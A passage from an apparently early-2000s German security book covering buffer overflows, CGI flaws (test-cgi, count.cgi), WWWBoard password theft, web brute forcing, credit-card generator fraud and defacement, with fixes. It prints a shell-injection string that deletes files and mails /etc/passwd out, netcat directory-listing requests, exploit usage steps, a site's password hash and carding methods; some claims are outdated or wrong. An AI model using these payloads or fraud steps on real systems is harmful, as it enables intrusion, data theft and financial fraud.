 lol@gg:~ > prog-1 Hallo! Wie geht es dir? ->Hallo! Wie geht es dir?<- lol@gg:~ > prog-1 Hallo! Wie geht es dir heute, geht es dir auch so gut wie. ->Hallo! Wie geht es dir heute, geht es dir auch so gut wie<- Segmentation fault
 Was sind Heap-based Overflows?
 Heap-based Overflows sind viel schwerer zu erstellen als Stack Overflows. Deshalb sind Heap-based Overflows auch nur sehr selten zu finden. Aufgrund dessen gibt es aber auch weniger Programmierer, die ihre Programme davor schützen. Für versierte Hacker also ein ganz besonderer Angriffspunkt! Der Fehler ist, dass nie statische Buffer zugewie-
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 sen, sondern stattdessen malloc() benutzt werden. So denken Programmier, vor allen Gefahren geschützt zu sein. Klar schützt es vor Stack Overflows, nicht aber vor Heap-based Overflows. Eine dynamische Zuweisung ist im Wesentlichen auch nicht viel sicherer.
 11.4 Woran erkennt man Buffer-Overflows? Es gibt viele Möglichkeiten, Buffer-Overflows zu erkennen. Es hängt allerdings davon ab, was zur Verfügung steht. Wenn es sich um ein Programm handelt, dessen Source-Code man hat, ist es eigentlich kein Problem. Hier überprüft man systematisch die Pa-rameterübergabe und die einzelnen Funktionen (sowie DLL's oder Libraries) auf be-kannte Unsicherheitsfaktoren.
 Sollte man diese Möglichkeit nicht haben (der Quelltext liegt nicht vor), kann man das Programm an der Schnittstelle zum User mit unerwarteten Eingaben testen. Dabei testet man meistens die Stringlänge an den Übergabepunkten und untersucht sie auf Fehler. Wenn eine Eingabe z.B. nicht überprüft und direkt mit Strcpy benutzt wird, ist es lo-gisch, dass man den Buffer überfluten kann.
 Hier nun ein kleines Beispiel:
 void ueberlauf(char argv[]) { char BuffertoLittle [4]; if (strlen(argv) > 7) { cout << "Falsch: Der Puffer wird ueberlaufen\n" ; } else { cout << "Eingabe OK, fuehre es aus\n"; strcpy(BuffertoLittle, argv); } /* Richtig: So wie das obere Teilstück sollte */ /* man es machen, erst überprüfen und dann ausführen, oder */ /* gleich sichere Funktionen benutzen */ strcpy(BuffertoLittle, argv); /* Falsch: Wenn argv[] zu groß ist läuft "PZK" über */ }
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 int main(int argc, char *argv[]) { cout << "Die Laenge des Uebergabeparamters ist: " << strlen(argv[1]) << "\n"; ueberlauf(argv[1]); }
 Zur Demonstration sollte man dieses Programm einfach kompilieren und folgenderma-ßen starten: "Name 052698547".
 Hier hat der Übergabeparameter eine solche Länge, dass das Programm gecrasht wird, weil die Eingabe länger war, als der Autor erwartet hat.
 Hier ist nicht der Source-Code wichtig, sondern das Demonstrieren eines manuell her-beigeführten Buffer-Overflows. Vor allem wird gezeigt, wie man mit Parametern und anderen Übergaben (diese können auch an anderen Stellen stattfinden) Programme ab-sichtlich crashen kann, d.h. sie manuell mit Eingaben auf Buffer-Overflows testen kann.
 Falls es sich um einen Dämonen oder einen anderen Netzwerkdienst nach außen han-delt, bei dem man die Befehle und Syntax ermitteln kann, so ist es möglich, mit Netcat die Befehle einzeln auf Buffer-Overflows zu überprüfen. Nun kann man ganz einfach die Eingaben, wie oben gesehen, bewusst lang machen oder mit unerwarteten Zeichen füllen und auf eine Reaktion warten.
 Selbstverständlich kann man das auch auf andere Art und Weise machen. Man kann zum Beispiel ein Programm disassemblieren und Stück für Stück durchsuchen.
 Woran erkennt man einen Buffer-Overflow-Angriff?
 Buffer-Overflow-Angriffe sind sehr schwer zu entdecken. Eine Möglichkeit zur Ermitt-lung wäre die Abschaltung des Servers, bevor der Hacker seine Spuren aus den Logfiles streichen kann. Wenn das der Fall ist, kann der Angreifer mit dem entsprechenden Rechner nichts mehr anfangen. Das sollte helfen, wenn man einmal überrascht wird. So erkennt man dann auch per Netzwerküberwachung, woher die Daten kamen.
 11.5 Welche Schutzmechanismen gibt es? Eigentlich schützen nur eine Linux-Version, nämlich SecureLINUX, und Solaris 2.6+ gegen Angriffe bzw. lassen sich einigermaßen schützen. Bei Solaris 2.6+ kann man nach der »normalen« Installation einen Schalter aktivieren, der verhindert, dass Programme in »Heap« und »Stack« ausgeführt werden können (noexec_user_stack, noexec_user_heap).
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 Dadurch sind die mitgelieferten Programme ohne die Ausnutzung besonderer Benutzer-Privilegien nicht mehr gefährdet. SecureLINUX braucht dazu einen Patch. Der Stan-dard-Kernel muss geändert werden und man muss mit einem Spezialcompiler alle Pro-gramme neu kompilieren.
 Ziel des Hackers ist es, immer an eine Rootshell auf einem anderen Linuxrechner zu ge-langen. Diese startet man ja auch durch das Exploit. Man hat aber als Nutzer oder Ad-ministrator auch noch die Option, die Shell-Namen und die /etc/passwd-Datei entspre-chend zu ändern. Selbstverständlich schlägt ein Buffer-Overflow nach obigem Beispiel nun fehl. Wegen des Zwangs der Namensgebung ist diese Variante fast immer erfolg-reich. Zumal man ja auch, da alle Programme im Quelltext vorliegen, das gesamte Linux komplett umschreiben und z.B. den "root" einfach "HAHA" nennen kann.
 Deshalb gilt die alte Regel: »Je mehr man von der Norm abweicht, desto schwieriger wird ein Angriff«.
 11.5.1 Zusammenhang zwischen CPU und Buffer-Overflow
 Heute werden viele Server mit nicht handelsüblichen CPU's wie z.B. die der Intelbaurei-he Xeon betrieben. Dadurch kann man den Angreifer erst wieder auf Assemblercode lenken und man senkt das Risiko, dass ein fertig kompiliertes Exploit im Internet er-scheint. Darum haben unerfahrende Angreifer kaum eine Chance.
 11.5.2 Buffer-Overflows in Verbindung mit einer Firewall
 Natürlich kann man mit einer Firewall die Möglichkeit eines Buffer-Overflow-Angriffes senken. In Sicherheit wiegen kann man sich aber nie.
 Angriffe auf äußere bzw. innere Schnittstellen werden dadurch erschwert. Weil Firewalls fast immer relativ klein sind, werden in ihnen kaum Ansatzpunkte für Buffer-Overflows gefunden. Konflikte ergeben sich, wenn der Server noch andere Dienste erfüllen soll, z.B. E-Mail-Gateway, Router, Proxy, HTTP-Server oder er als Datenbanken-Server fungiert. Hier gibt es große Sicherheitsrisiken.
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 12.1 Sicherheit von CGI-Scripten CGI-Scripte (Common-Gateway-Interface) werden häufig eingesetzt, um die Funktio-nalität einer Webseite zu steigern. Doch leider sorgen diese Scripte dafür, dass die meist ohnehin schon schwer konfigurierbaren Webserver noch komplexer werden. CGI-Scripte stellen bei mangelhafter oder gar fehlerhafter Programmierung ein großes Sicherheitsrisiko dar. Dabei ist es nicht relevant, welche Sprache das jeweilige Script verwendet. Oft greifen Webmaster aufgrund begrenzter Kenntnisse oder aus Zeitmangel auf bereits vorgefertigte Scripte aus dem Internet zurück, die sie dann mit ein paar Handgriffen für ihren Server konfigurieren. Dabei riskieren sie oft die Sicherheit des Ge-samtsystems und verlassen sich voll und ganz auf die Fähigkeiten des – schlimmstenfalls unbekannten – Programmierers. Weitere Risiken bestehen darin, dass ein unbedarfter Nutzer ein unsicheres Script freigeben kann, so dass es dem Nutzer des Programms Schreibzugriff auf wichtige Dateien gibt, obwohl der Server so konfiguriert ist, dass CGIs nur in einem Verzeichnis ablaufen und schreiben dürfen.
 Um festzustellen, welche CGI-Scripte auf einem Webserver laufen, stehen Angreifern ei-nen Vielzahl von Scannern zur Verfügung.
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 Bild 12.1: CGI-Finder 1.5
 Bild 12.2: Atlas CGI-Scanner
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 Das Prinzip solcher Scanner ist relativ leicht zu erklären: Webserver werden auf das Vorhandensein der unterschiedlichsten Scripte »abgeklopft«, in der Ausgabe erscheint eine Übersicht, welche Scripte vorhanden sind. Sollte der Angreifer eine Ausgabe wie in Abb. 2 vor sich haben, kann er sich nun auf die Suche nach bekannten Fehlern der Scripte machen.
 Ein Beispiel ist eine normale Formularprogrammierung, wie sie häufig eingesetzt wird. Dabei ist es sehr wichtig, dass die eingegebenen Daten auf ihre Richtigkeit überprüft werden, da es sonst Angreifern möglich ist, Shell-Metazeichen (Zeichen mit besonderer Bedeutung für die Shell) in die Formulardaten einzubinden.
 Die Programmierung eines solchen Formulars könnte folgendermaßen aussehen:
 <FROM ACTION=“/cgi-bin/finger.pl“ METHOD=“POST“> <INPUT TYPE =“text“ NAME=“user“ SIZE=40> <INPUT TYPE =“submit“ VALUE=”suchen”>
 Bild 12.3: Das Ergebnis der Programmierung
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 Nun wird das Programm erstellt, welches das Formular bearbeiten wird:
 #!/usr/local/bin/perl &parse_from_data (*simple) ; $user = $simple { ’user’ } ; print “Content – type : text/plain “ , “ \n\n“ ; print “ Das Suchergebnis: “, “\n“ ; print ‘/usr/local/bin/finger $user’ ; print “\n“ ; exit (0) ;
 Dies ist ein recht einfaches Script, wie es sehr oft auf Webseiten mit z.B. Suchanfragen etc. eingesetzt wird. Es hat den Vorteil, dass es recht schnell programmiert ist und keine weitreichenden CGI-Kenntnisse voraussetzt.
 Angreifer werden aber durch solche Scripts geradezu eingeladen, sich daran zu schaffen zu machen. Bei dem oben gezeigten Script muss ein Hacker lediglich in das Formular-feld der Webseite folgende Zeile eintragen:
 ; rm * ; mail -s „HI HI” [email protected] < /etc/passwd
 Das Programm wird daraufhin Folgendes veranlassen: Alle Dateien in dem Verzeichnis, in dem die CGI-Datei hinterlegt wurde, werden gelöscht. Weiterhin wird die Datei /etc/passwd an die Mailadresse, die in das Formularfeld eingegeben wurde, gesendet. In dieser Datei sind sämtliche Passwörter des Systems gespeichert. Ein Angreifer hat nun vollen Zugriff – und das nur, weil das Script nicht in der Lage war, falsche Formularda-ten zu prüfen.
 Hier nun ein Beispiel, wie man dasselbe Script mithilfe einer Eingabeprüfung sicher ma-chen kann.
 #!/usr/local/bin/perl &parse_from_data (*simple) ; $user = $simple { ’user’ } ; if ($user =~ /[ ; > < & \ * ’| ] ) { &return_error (500, “CGI-Alert”, “Diese Eingabe kann nicht bearbeitet werden!“ ) ; } else { print “Content – type : text/plain “ , “ \n\n“ ; print “ Das Suchergebnis: “, “\n“ ; print ‘/usr/local/bin/finger $user’ ; print “\n“ ; exit (0) ;
 Durch diesen Zusatz werden Zeichen wie ~ /[ ; > < & \ * ’| nicht mehr verarbeitet, son-dern es kommt zu einer Fehlermeldung. Natürlich ist diese Prüfung um etliche Zeichen erweiterbar.

Page 278
						

228844 Kapitel 12: Web-Sicherheit
 12.1.1 Weitere bekannte CGI-Schwachstellen
 test-cgi
 Die L0pht-Gruppe veröffentlichte 1996 einen Report über test-cgi, der die Frage der Si-cherheit drastisch thematisierte, denn er zeigte deutliche Sicherheitslücken auf. Zwar ist seit 1996 viel Zeit vergangen, der Bug bestand aber noch lange fort. Außerdem ist nicht zu klären, wie viele alte CGI-Scripte noch verwendet werden, so dass es weniger um his-torische Schwächen als um konkrete, benennbare Lücken geht. Der Report verdeutlicht das generelle Sicherheitsproblem von CGI-Scripten, und es werden immer wieder neue Lücken gefunden, die erst nach Bekanntwerden durch einen Patch gelöst werden.
 Durch eine Eingabe wie
 http://215.156.65.50/cgi-bin/test-cgi?* ist es möglich, sich die Infrastruktur des gesamten cgi-bin-Verzeichnisses auflisten zu lassen. Das Ergebnis sieht dann wie folgt aus:
 QUERY_STRING = count.cgi wwwcount.cgi AT-admin.cgi search.pl Dadurch hat der Angreifer die Möglichkeit, sämtliche abgelegte Scripte in Augenschein zunehmen.
 Der Bericht der L0pht Gruppe sah wie folgt aus (Übersetzung des Autors):
 Test-CGI vulnerability -Verwundbarkeit des CGI-Scriptes »test.cgi«
 Beschreibung:
 Einige der Test-CGI-Scripte, die mit einigen HTTP-Servern verteilt werden, sind feh-lerhaft
 Autor: Mudge <[email protected]>
 Ergebnis: Erstellung der Verzeichnislisten per Fernzugriff
 Verletzbare Systeme: Systeme mit verletzbarem Test-CGI (viele Web-Server)
 Datum: April 1996
 Anmerkungen:
 Wenn dieses genaue Exploit nicht arbeitet, versuche etwas in den Abfragezeichenket-ten zu ändern.
 Exploit:
 Verwundbarkeit des Test-CGI-Sripts in bestimmten Installationen
 Betroffene Programme: Die Indexe des Test-CGIs auf verschiedenen Web-Servern
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 Schwierigkeit: Den Inhalt der Dateien entfernen
 Auf vielen Internetseiten existiert eine Datei, die Test-CGI genannt wird (normaler-weise im CGI-Verzeichnis oder ähnlichen Verzeichnissen). Mit vielen dieser Dateien gibt es größere Probleme. Wenn die Datei Test-CGI die folgende, wortwörtliche Zeile enthält, ist diese Datei höchstwahrscheinlich sehr verletzbar
 Echo QUERY_STRING = $$QUERY_STRING
 In solchen Zeilen sollten die Variablen von losen Anführungsstrichen umgeben sein (").
 Ohne diese Anführungsstriche gelangen verschiedene Sonderzeichen an ungewollte Stellen. Eine Abfrage nach der jeweiligen Zeile bzw. Datei bewirkt, dass der Inhalt des aktuellen Verzeichnisses wieder zurückkommt. (vermutlich von da, wo alle cgi-Dateien sind....gee, da sind auch jj und phf)
 Schon sehr erstaunlich, was in diesen Dateien für Löcher existieren. Wenn man einen Querverweis sendet `/*`, bekommt man das gesamte Root-Directory angezeigt usw.
 Genau das gleiche wie wenn man `ls` herausnimmt und dafür ‘echo *` einsetzt. (Muss nicht immer funktionieren)
 Der einfachste Weg, die Verzeichnisse auszulesen, ist über die Abfragekette (query string).
 Wie auch immer, das gleiche ist auch für viele andere Variablen in den entsprechen-den Situationen möglich z.B. $$REMOTE_HOST, $$REMOTE_USER
 FIX
 Die schnellste Lösung besteht darin, dass man alle Variablen in den Test-CGI-Dateien in lose Anführungsstriche setzt (eigentlich sollten sie von Beginn an dort sein).
 z.B. echo QUERY_STRING = “$QUERY_STRING”
 Beispiel Exploit:
 Jetzt kommen Beispiele (beachten sollte man: nc heißt netcat von avian.org). Da es ein unschätzbares Hilfsmittel ist, sollte man es sich holen. Man braucht eigentlich nur Telnet an port 80 und den GET-Befehl einzugeben.
 machine% echo "GET /cgi-bin/test-cgi?/*" | nc removed.name.com 80 CGI/1.0 test script report: argc is 1. argv is /\*. SERVER_SOFTWARE = NCSA/1.4.1 SERVER_NAME = removed.name.com GATEWAY_INTERFACE = CGI/1.1 SERVER_PROTOCOL = HTTP/0.9 SERVER_PORT = 80
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 REQUEST_METHOD = GET HTTP_ACCEPT = PATH_INFO = PATH_TRANSLATED = SCRIPT_NAME = /bin/cgi-bin/test-cgi QUERY_STRING = /a /bin /boot /bsd /cdrom /dev /etc /home /lib /mnt /root /sbin /stand /sys /tmp /usr /usr2 /var REMOTE_HOST = remote.machine.com REMOTE_ADDR = 255.255.255.255 REMOTE_USER = AUTH_TYPE = CONTENT_TYPE = CONTENT_LENGTH = ------------------ Oder um zu sehen welche anderen CGI-Schätze noch so rumschwirren... ------------------ machine% echo "GET /cgi-bin/test-cgi?*" | nc removed.name.com 80 CGI/1.0 test script report: argc is 1. argv is \*. SERVER_SOFTWARE = NCSA/1.4.1 SERVER_NAME = removed.name.com GATEWAY_INTERFACE = CGI/1.1 SERVER_PROTOCOL = HTTP/0.9 SERVER_PORT = 80 REQUEST_METHOD = GET HTTP_ACCEPT = PATH_INFO = PATH_TRANSLATED = SCRIPT_NAME = /bin/cgi-bin/test-cgi QUERY_STRING = calendar cgi-archie cgi-calendar cgi-date cgi-finger cgi-fortune cgi-lib.pl imagemap imagemap.cgi imagemap.conf index.html mail-query mail-query-2 majordomo majordomo.cf marker.cgi menu message.cgi munger.cgi munger.note ncsa-default.tar post-query query smartlist.cf src subscribe.cf test-cgi uptime REMOTE_HOST = remote.machine.com REMOTE_ADDR = 255.255.255.255 REMOTE_USER = AUTH_TYPE = CONTENT_TYPE = CONTENT_LENGTH =
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 Der Vorteil dieses Exploits, im Vergleich zu dem am Anfang genannten Scanner, ist die Genauigkeit der Ausgabe. So kann sich der Angreifer ein Bild über sämtliche vorhande-nen Scripte im Verzeichnis cgi-bin machen und sich dann in den entsprechenden Buglis-ten informieren, wie man diese ausnutzen kann.
 12.1.2 Zugriffszähler mit Lücke – count.cgi
 wwwcount.cgi ist ein sehr verbreiteter Zugriffszähler für Webseiten. 1997 wurde für die-ses Script eine Schwachstelle gefunden, die es zulässt, dass ein Angreifer beliebige Befehle auf dem System ausführen kann. Durch diese Schwäche wurden mehrere größere An-griffe auf verschiedene Systeme bewerkstelligt. Recht bald danach wurde die Schwach-stelle durch einen Patch ausgebügelt. Die Beschreibung bzw. das entsprechende Exploit sieht folgendermaßen aus:
 Count.cgi-Remoteüberlauf
 Beschreibung: Standard-Buffer-Overflow, beispielsweise in Count.cgi
 Autor: Nicolas Dubee < [email protected] >
 Kompromiss: lokale oder Remoteausführung des beliebigen Codes
 Verletzbare Systeme: Systeme, die eine verletzbare Version von wwwcount Muhammad A. Muquit laufen lassen
 Datum: Oktober 16 1997
 Details:
 Auch die wwwcount ist in der Version 2.3 angreifbar. Nach gezielter Suche bei www.altavista.de auf count.cgi bekommt man etwa 200.000 Matches (Stand 1997). Sehr erschreckend dabei ist, dass ungefähr 50.000 Rechner davon über die Version 2.3 verfü-gen.
 Count.cgi (wwwcount) remote exploit
 Wie jeder weiß, ist count.cgi ein populäres Programm für die Zugriffszählung auf Web-Seiten. Folgendes Exploit wurde geprüft auf Version 2.3 . Das schließt natürlich ähnliche Unsicherheiten in anderen Versionen nicht aus. Das Exploit bewirkt einen Buffer-Overflow in dem count.cgi-Programm und erlaubt Remote HTTP-Benutzern willkürli-che Befehle auf der Zielmaschine auszuführen.
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 Es gibt vor allem zwei Sicherheitslöcher im wwwcount. Der größte Fehler tritt auf, wenn die QUERY_STRING-Klimavariable (reflektiert die URL, die vom www-Client angefragt wird) in den fixed-size dynamic buffer kopiert. Ein anderer Fehler kann auftreten, wenn man count.cgi mit einer speziellen Authentisierungs-Option kompiliert. Meist sind diese Anwendungen aber nicht exploitabel.
 FIX: Mit dem im Exploit beschriebenen Vorgehensweisen kann man sehr großen Scha-den anrichten, daher sollte man die Fix-Anweisungen so schnell wie möglich bearbeiten.
 Ein temporärer Fix ist, wenn der Quellcode nicht erreichbar ist, die Exe-Erlaubnis zu lö-schen (chmod – x), was im count.cgi sehr leicht nachvollziehbar ist (befindet sich im cgi-bin-Verzeichnis).
 Der Rest ist ziemlich einfach. Den folgenden Patch kann man am Objektprogramm in die Datei main.c einbringen. Diese Anwendungen können auch für andere Zwecke an-gepasst werden, beispielsweise, um einen CGI Wrapper zu entwickeln.
 void wrapit(char *envvar,int esize) { char *tmp,*tmp2; tmp=malloc(esize+1); if(tmp==NULL) { Debug2("Can't allocate wrapper memory buffer.",0,0); exit(1); } strncpy(tmp,(tmp2=getenv(envvar))?tmp2:"",esize-1); tmp[esize]='\0'; setenv(envvar,tmp,1); } 89c103 char --- char 185a200,207 /* * avoid any buffer overflow problem by cutting some env variables */ wrapit("QUERY_STRING",600); wrapit("HTTP_REFERER",600); wrapit("HTTP_USER_AGENT",600);
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 Exploit:
 Auf der beliegenden CD ist der Quellcode für das genannte Exploit zu finden, den wir an dieser Stelle nicht abdrucken wollten. Er enthält zum Teil auch französische Anmerkun-gen.
 Hier noch ein weiteres Exploit, das die count.cgi Version 2.3 anspricht:
 »Kurze Anleitung, wie man diesen Exploit benutzen kann: Man braucht einen Linux-Server mit einer Freigabe für das count.cgi-Script Version 2.3 oder auch 2.2.
 Dann setzt man dessen Namen in den Quellcode der Datei ein ("fprintf(fi, ".....", f);".) Dann macht man einen gcc –o that that.c und man ist da!
 Dann schreibt man ./that nothing 1400 1000 1000 "your ip:0"
 ( ip:0 ist die Screen Nummer, nicht vergessen vorher zu xhosten)
 Diese Werte sollten für einen brauchbaren Buffer-Overflow sorgen. Irgendwann müsste dann hack me erscheinen. Hier klickt man und wartet. Meistens passiert dann erst mal nichts. Vielleicht kommt aber auch die Information : "Host ome not in the auth block of the config file".
 Dann geht man in die URL und ändert user=xxx in user=xyx und drückt (¢).
 Jetzt dürfte keine Fehlermeldung mehr kommen (http_REFERER), oder es wäre ein sehr guter Wert für die count.gci, aber keine Sorge, das xterm kommt an!«
 Auch diesen kompletten Quellcode für diesen Exploit finden Sie auf der beiliegenden CD.
 12.2 Schutz Der beste Schutz vor solchen Schwachstellen ist natürlich der Verzicht auf CGI-Programme. Das ist natürlich in vielen Fällen unmöglich. Daher ist es bei der Verwen-dung von Scripts notwendig, sich intensiv mit der jeweiligen Programmierung ausein-ander zu setzen, um mögliche Fehler finden und beseitigen zu können. Dies empfiehlt sich besonders bei vorgefertigten Scripten aus dem Internet.
 Eine Bugliste mit ausführlichen Informationen ist unter der folgenden Adresse erhält-lich: http://oliver.efri.hr/~crv/security/bugs/archive.tar.gz.
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 12.3 WWW Board Sicherheit Ein recht beliebte Erweiterung zur Homepage bietet ein Board oder auch BBS genannt. Dort kann jeder Besucher seine Meinung zu »Gott und der Welt« hinterlegen.
 Bild 12.4: www.wbc-board.to – ein typische BBS-Bespiel
 Doch auch hier bieten unerfahrene Webmaster Angreifern immer wieder eine optimale Plattform, um ihr System zu attackieren. Dabei zielt der Angreifer vor allem darauf ab, die Passwort-Datei genannt passwd.txt zu erhalten, denn die wird oft vom Webmaster einfach im Verzeichnis des Boards unachtsam liegen gelassen.
 Ein Angreifer kann wie folgt vorgehen: Er sucht das Verzeichnis des Boards mit ver-schiedenen Eingaben nach der Datei passwd.txt ab. Dies kann entweder anhand von Ein-gaben oft genutzter Pfade wie z.B http://www.gemini.net/wwwboard/ geschehen oder man verwendet Scanner wie CGI-Finder, die spezifische Board-Dateien wie z.B wwwadmin.pl. aufspüren und den entsprechenden Pfad bekanntgeben. Das Ergebnis kann, wenn noch dazu in diesem Verzeichnis eine index.html fehlt, durchaus auch so aussehen:
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 Bild 12.5: Verzeichnis eines Boards auf www.gemini-net.com
 Nun würde sich der Angreifer die passwd.txt auf seinen Rechner laden und speichern. In dieser Datei befinden sich die verschlüsselten Passwörter, die benötigt werden, um das Board zu verändern.
 In Fall von www.gemini-net.com lauten diese daidoya:aej7K3HKvuLME. Nachdem der Angreifer sich diese Datei gesichert hat, startet er einen der üblichen Passwortcracker wie z.B. »John the Ripper«.
 In »John the Ripper« wird nun der Befehl JOHN PASSWD.TXT >> FERTIG.TXT eingege-ben, damit er mit dem Entschlüsseln der passwd.txt beginnt. Dabei wird das Ergebnis in einer Fertig.txt festgehalten.
 Ist das Passwort entschlüsselt, kann sich der Angreifer über die Eingabe des Passwortes in die wwwadmin.pl sämtliche Rechte sichern und hat nun vollen Zugriff auf alle Datei-en bzw. auf den gesamten Inhalt des Boards.
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 Schutz
 Neben dem obligatorischen »einfach darauf verzichten« gibt es die Möglichkeit, die Le-seberechtigung von Passwd.txt nur für Administratoren freizugeben. Damit wird ver-hindert, dass ein Angreifer an die verschlüsselten Passwörter gelangt. Weiterhin emp-fiehlt es sich, die Datei wwwadmin nicht auf dem Server liegen zu lassen, sondern nur einzusetzen, wenn Wartungen nötig sind, und sie danach wieder zu löschen.
 12.4 Angriffe auf passwortgeschützte Webbereiche Neben öffentlichen Informationen gibt es auf manchen Webseiten Bereiche, die nicht für »jedermann« zugänglich sind. Dabei gibt es verschiedene Möglichkeiten, wie sich re-gistrierte User einloggen können. Eine der meist genutzten ist der .htaccess-Schutz: Da-bei öffnet sich beim Aufrufen der entsprechenden Webseite ein Fenster (Abb. 6), in das der User die ihm zugeteilten Daten eingeben kann. Die Richtigkeit der Daten werden mit den Daten in einer .htaccess-Datei, die auf dem Server liegt, überprüft.
 Bild 12.6: .htaccess Eingabefenster – bekannt aus dem Internet
 An solchen Stellen setzen Angreifer gern Brute-Force-Cracker wie z.B. »Brutus« oder »Web Cracker« an.
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 Bild 12.7: Web Cracker im Einsatz
 Diese Tools überprüfen – wie schon im Kapitel Passwörter erwähnt – alle erdenklichen Versionen von Benutzernamen und Passwort, bis das richtige gefunden ist.
 12.4.1 Schutz
 Mit Web Cracker war es in Kombination mit einer xDSL-Verbindung und einem vor-handenen Benutzernamen innerhalb von ca. 20 Minuten möglich, ein 4-stelliges einfa-ches Passwort zu knacken.
 Natürlich waren mehrere tausend Anfragen nötig, daher sollten Administratoren regel-mäßig die vorhanden Logdateien prüfen. Oft erhält man nur hier Aufschluss über die Attacke und den Täter.
 Auch an dieser Stelle soll darauf hingewiesen werden, dass man besonders starke Pass-wörter wählt, die möglichst alphanumerisch zusammengesetzt sind. Näheres finden Sie im Kapitel über Passwort-Cracking.
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 12.4.2 Kreditkarten-Fakes
 Neben dem .htaccess-Schutz bieten viele Webseiten den Service an, sich gegen entspre-chende Bezahlung per Kreditkarte Zutritt zu verschaffen. Diese Art der Bezahlung wurde im Laufe der Zeit immer beliebter und die Zahl der Seiten, die diesen Service bieten, wird jährlich größer. Dabei handelt es sich um jegliche Art von Diensten. Ob Bilder-suchmaschine oder Erotikportal – ohne gültige Kreditkartennummer geht bei solchen Diensten nicht mehr allzu viel.
 Selbstverständlich haben Hacker auch schon hier angesetzt und Wege gefunden, sich il-legal Zutritt auf derartige Seiten zu verschaffen.
 Schauen Sie sich einfach folgendes Beispiel an: Im Internet gibt es eine Anzahl von so genannten CC-Generatoren. Diese Programme erstellen auf Wunsch Kreditkarten-nummern der gängigsten Firmen wie z.B. American Express, Mastercard, Visa usw. Ei-nes der beliebtesten Programme ist der BeaZly Card Generator. Er erstellt neben gülti-gen Kreditkartennummern auch die dazugehörige US-amerikanische Adresse.
 Bild 12.8: BeaZly Card Generator 1.0 – Welche Nummer soll’s denn sein?
 Der Angreifer kann also mithilfe des Tools eine US-Adresse generieren, und braucht dann noch eine Kreditkarten-Nummer, die glaubwürdig ist. Dazu muss man wissen, dass Onlinetransaktionszentren nicht genau prüfen können, wem die eingegebene Kre-

Page 289
						

12.5 Defacement – Volkssport für Script Kids 229955
 ditkarte gehört. Es gibt nur die Möglichkeit der vergleichenden Überprüfung, von Kar-tennummer und Gültigkeitsdatum der Karte. Da aber kein CC-Generator ein echtes Gültigkeitsdatum generieren kann, braucht der Hacker also zuerst eine echte Kreditkar-te. Jeder CC-Generator enthält zu diesem Zweck die Option »extrapolate«.
 Gibt man nun die echte Kartennummer ein, erhält man je nach Wahl ein paar neue Nummern, die dasselbe Gültigkeitsdatum haben, wie die Originalkarte. Welche dieser extrapolierten Karten nun glaubwürdig ist, muss der Angreifer selbst rausfinden.
 Dies kann meist eine ganze Weile dauern, denn nicht jede dieser extrapolierten Karten wird anerkannt. Ist jedoch eine glaubwürdige Karte gefunden, dann wird sich der Ha-cker in nächster Zeit auf diversen Seiten damit anmelden. Er wird aus Sicherheitsgrün-den auch immer dieselbe Adresse wie beim ersten Fake mit der Karte verwenden, dann hält sie länger.
 Natürlich werden die Anbieter der Dienste von diesem Nutzer niemals Geld erhalten, dennoch bleiben diverse Möglichkeiten, den Angreifer zurückzuverfolgen.
 Bei der Anmeldung auf diesen Seiten ist es üblich, die IP-Adresse des Nutzers mitzulog-gen, daher sollte es normalerweise ein Leichtes sein, dem Betrüger auf die Spur zu kommen. Doch wozu gibt es Proxys?! (näher beschrieben im Kapitel anonymes Sufen)
 12.5 Defacement – Volkssport für Script Kids Defacement wird der Vorgang genannt, bei dem die Homepage einer Site durch einen Hacker ersetzt wird. Ein durch Sicherheitsmängel oder falsche Konfiguration angreifba-rer Server wurde entdeckt, und die Homepage wird durch eine Web-Seite des Page-Hackers oder einer Hackergroup ersetzt. Neben zahlreichen großen Sites sind auch viele kleinere, meist schlecht gewartete Server Ziel der Angriffe. Einer der bekanntesten Defacer ist der Hacker »Fluffy Bunny«. Zu seinen Zielen gehörten unter anderem www.schmidt.de, die er mehrere Male veränderte, sowie www.kimble.org, www.single.tv , www.sans.org und www.mcdonalds.co.uk.
 Im Internet befinden sich mehrere Archive dieser entstellten Seiten; zu finden unter an-derem unter www.alldas.de , www.2600.com und www.attrition.org.
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 Bild 12.9: Defacement von www.schmidt.de
 Bild 12.10: Defacement von www.kimble.org
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 Das Deface einer Webseite wird meist dadurch bewerkstelligt, dass ein Angreifer über fehlerhafte Scripts Schreibzugriff auf die Dateien des Webservers nehmen konnte und diese verändert wieder auf den Server schickt. Zum Schutz: Es gelten prinzipiell die glei-chen Maßgaben wie bei CGI-Scripten, siehe S. 289.
 12.6 Wie kann man Webserver richtig schützen? Webserver sind sehr komplexe Programme, und die Tatsache, dass man der Funktiona-lität zuliebe weitere Scripts wie z.B. CGI-Scripts hinzufügen kann, sorgt dafür, dass diese Programme noch komplexer werden. Für unbedarfte Nutzer ist UNIX aufgrund der Vielfalt an Tools und Programmiersprachen eine schlechte Wahl für einen Webserver. Auch Systeme wie Microsoft haben diese Zusätze, was auch sie recht komplex und damit unsicher macht.
 Am sichersten sind Macintosh-Systeme, da diese keine leicht zugängliche Scriptsprache und keine Remote-Logins unterstützen. Dennoch gibt es gute Gründe, ein Betriebssys-tem wie Windows NT/2000 oder UNIX zu verwenden, weil diese meist schneller als ein MAC sind.
 Doch um einen sicheren Webserver aufzubauen, unabhängig von der verwendeten Be-triebssystem-Software, sollte man folgende Punkte berücksichtigen:
 ■
 ■
 ■
 ■
 ■
 Remote User dürfen niemals in der Lage sein, irgendwelche Programme auf dem Rechner auszuführen.
 CGI-Scripte müssen entweder ihre Funktion erfüllen, oder mit einer Fehlermessage abbrechen. Alle Scripte sollten in der Lage sein, bösartige Eingaben abzufangen.
 Zur Absicherung des Webservers sollte man daher die folgenden Maßnahmen einsetzen:
 Der Server sollte auf einem entsprechend ausreichendem System laufen, dies bezieht sich besonders auf die Leistung des Rechners, weil diese wesentlich zum reibungslo-sen Ablauf der Programme beiträgt.
 Man sollte ein relativ sicheres Betriebssystem einsetzen, dazu zählen besonders der Support durch den Hersteller und möglichst frei verfügbare Quellcodes, weil es dann Programmierern möglich ist, selber an der Funktionalität des Servers mitzuarbeiten. Das als Server installierte System sollte zwingend in der Minimal-Variante installiert werden, damit evtl. Fehler in zusätzlich installierten Programmen nicht ausgenutzt werden können.
 Es sollten alle vom Hersteller empfohlenen Patches und Updates installiert werden. Weiterhin ist es wichtig und vorteilhaft, sich immer anhand von Buglisten über evtl. Sicherheitsrisiken auf dem Laufenden zu halten.
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 ■
 ■
 ■
 ■
